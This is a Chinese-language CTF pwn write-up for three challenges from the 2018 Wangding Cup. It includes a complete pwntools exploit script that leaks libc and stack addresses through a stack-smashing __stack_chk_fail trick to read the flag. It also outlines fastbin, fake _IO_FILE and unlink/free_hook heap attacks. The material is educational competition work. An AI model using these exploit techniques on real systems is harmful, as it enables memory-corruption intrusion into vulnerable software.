CTF Re&&Pwn

2018-网鼎杯 第一场 pwn writueup

2018-08-26  本文已影响8人  zs0zrc

网鼎杯第一场wp

开启了canary和NX

简单的看了下反编译的逻辑

 HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");

发现它将flag读取到栈上了,结合它开的防护机制NX,可以想到smash the stack这种攻击手法,利用 __stack_chk_fail 来打印想要的信息,因为flag在栈上,所以要先泄露出栈的地址,然后将argv[0]覆盖成flag的地址,通过触发 _stack_chk_fail来将flag打印出来。栈的地址可以通过libc中的一个变量 _environ变量泄露出来。因为在libc中的全局变量 environ储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,进而计算出flag在栈上的地址。

 while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;

可以发现程序只能输入三次,并且这里有gets函数,存在栈溢出,所以可以触发 _stack_chk_fail。因为只能输入三次,所有要构造好输入

思路:

  1. 先泄露libc地址
  2. 通过libc中的 __enviorn 变量泄露出栈地址
  3. 利用 _stack_chk_fail 打印出flag

几个地址:

argv[0] = 0x7fffffffde88
buf_add = 0x7fffffffdd60
flag = 0x7fffffffdd30
offset = 0x128
flag_offset = 0x158

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'
p = remote('106.75.90.160',9999)
elf = ELF('./GUESS')

log.info('leak libc')
p.recv()
payload = 'a'*0x128
payload += p64(0x602048)
p.sendline(payload)

p.recvuntil('detected ***: ')
leak = u64(p.recv(6)+ '\x00'*2)
print hex(leak)
libc = leak - 0x20740
env_addr = libc + 0x3c6f38
print "env _add -->[%s]"%hex(env_addr)

log.info('leak stack address')
payload1 = 'a'*0x128 + p64(env_addr)
p.recvuntil('r guessing flag')
p.sendline(payload1)
p.recvuntil('detected ***: ')
leak_stack = u64(p.recv(6)+ '\x00'*2)
print "stack --> address[%s]"%hex(leak_stack)

log.info('show the flag')
stack_add = leak_stack
payload2 = 'a'*0x128 + p64(stack_add - 0x168)
p.recv()
p.sendline(payload2)
p.recv()
p.interactive()

image.png

开启了Full RELRO,Canary和NX,所以改got表的操作就不可行了

简单分析下程序的逻辑

程序一共有三个功能:

  1. new 分配一个大小为0x68的chunk,并读入content
  2. change 编辑chunk的内容
  3. release 将chunk free 掉,但没清空指针,这里存在uaf漏洞,同时这个操作只能做三次

同时程序存在system函数

image.png

​ 同时分配的chunk的地址都存储在bss段的一个数组中

image.png
因为不可以修改got表,同时没有可以泄露地址的地方,所以改malloc hook那些操作也做不了。
但是它又存在system函数,在bss段上存在 stdin,stderr,stdout等_IO_FILE结构体的指针,
所以想到的是修改文件流的指针,使其指向伪造的IO_FILE结构体来getshell。
因为程序存在uaf漏洞,所以可以通过fastbins attck 分配到包含全局变量数组的chunk,就可以实现任意地址读写。
大致思路是:
1. 利用fastbins attack控制全局变量数组
2. 向bss段写入伪造的_IO_FILE_plus 结构体 以及 vtable数组
3. 修改stdout指针指向伪造的_IO_FILE_plus结构体

下面是比赛时没做出来的

babyheap

防护机制:

image.png

防护机制开启了full RELRO,所以修改got表函数的内容就不可行

简单的分析下程序逻辑:

有四个功能:

  1. alloc:分配一个大小为0x20的chunk,并向里面写入内容
  2. edit:对chunk进行编辑,总共只能编辑三次
  3. show: 打印chunk的内容,这里可以进行信息泄露
  4. free:将chunk free掉,这里没将指针置为0,存在UAF漏洞

大致思路:

这题中有show函数,所以应该要泄露出libc的地址,然后改malloc_hook或者free_hook 来getshell
但是因为限定malloc的大小只能是0x20,所以要先想怎么产生一个unsorted bins中的chunk
这里的思路是利用UAF漏洞 ,进行fastbins attack 分配包括下一个chunk size字段的chunk。
就可以修改下一个chunk的size字段为0xa1,然后free掉这个chunk,这样就可以获得unsorted bins 的chunk了。
再利用show功能就可以泄露出来libc的地址,这里要注意chunk overlap的影响。
因为在bss段存在着存储chunk地址的全局变量数组,所以可以利用unlink来修改free_hook的内容
image.png image.png

可以看到此时的chunk1在数组存储位置的内容已经被修改为free_hook了,在向chunk1写入就可以修改free_hook的内容了

上一篇下一篇

猜你喜欢

热点阅读